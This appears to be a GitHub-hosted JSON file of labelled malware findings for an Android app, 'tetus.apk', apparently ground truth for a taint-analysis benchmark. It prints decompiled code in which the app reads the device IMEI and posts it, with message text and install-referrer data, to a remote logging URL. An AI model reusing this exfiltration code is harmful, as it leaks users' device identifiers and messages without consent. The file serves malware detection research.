-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtetus_findings.json
103 lines (103 loc) · 3.67 KB
/
tetus_findings.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
{
"fileName": "tetus.apk",
"day": "2019-10-17",
"findings": [
{
"source": {
"statement": "Parameters.imei = telephonyManager.getDeviceId();",
"methodName": "public void initParams()",
"className": "shared.library.us.Splash",
"lineNo": 160,
"targetName": "getDeviceId",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r1 = virtualinvoke $r3.<android.telephony.TelephonyManager: java.lang.String getDeviceId()>()"
}
]
},
"sink": {
"statement": "connection.connect();",
"methodName": "public static String postData2(String args)",
"className": "shared.library.us.HttpPosting",
"lineNo": 72,
"targetName": "connect",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "virtualinvoke $r5.<java.net.HttpURLConnection: void connect()>()"
}
]
},
"intermediateFlows": [
{
"statement": "HttpPosting.postData2(\"http://android.tetulus.com/atp-log.php?imei=\" + Parameters.imei + \"&pid=\" + getString(2130968579) + \"&type=message&log=\" + body.replace(\" \", \"_\"));",
"methodName": "public void onActivityResult(int requestCode, int resultCode, Intent data)",
"className": "com.droidmojo.awesomejokes.Main",
"lineNo": 63,
"ID": 1
},
{
"statement": "HttpURLConnection connection = (HttpURLConnection) new URL(args).openConnection();",
"methodName": "public static String postData2(String args)",
"className": "shared.library.us.HttpPosting",
"lineNo": 67,
"ID": 2
}
],
"attributes": {
"interComponentCommunication": true,
"partialFlow": true,
"staticField": true
},
"ID": 1,
"description": "This malicious flow reads the IMEI and writs to a static field. IMEI storeds in this static field is sent it to a remote server.",
"isNegative": false
},
{
"source": {
"statement": "HttpPosting.postData2(\"http://android.tetulus.com/atp-log.php?imei=\" + ((TelephonyManager) ctx.getSystemService(\"phone\")).getDeviceId() + \"&pid=\" + ctx.getString(2130968579) + \"&type=marketreciever&log=\" + MarketReciever.this.referrer);",
"methodName": "public void run()",
"className": "shared.library.us.MarketReciever.AnonymousClass1",
"lineNo": 30,
"targetName": "getDeviceId",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "$r4 = virtualinvoke $r3.<android.telephony.TelephonyManager: java.lang.String getDeviceId()>()"
}
]
},
"sink": {
"statement": "connection.connect();",
"methodName": "public static String postData2(String args)",
"className": "shared.library.us.HttpPosting",
"lineNo": 72,
"targetName": "connect",
"targetNo": 1,
"IRs": [
{
"type": "Jimple",
"IRstatement": "virtualinvoke $r5.<java.net.HttpURLConnection: void connect()>()"
}
]
},
"intermediateFlows": [
{
"statement": "HttpURLConnection connection = (HttpURLConnection) new URL(args).openConnection();",
"methodName": "public static String postData2(String args)",
"className": "shared.library.us.HttpPosting",
"lineNo": 67,
"ID": 1
}
],
"attributes": {},
"ID": 2,
"description": "This malicious flow reads the IMEI and sends it to a server.",
"isNegative": false
}
]
}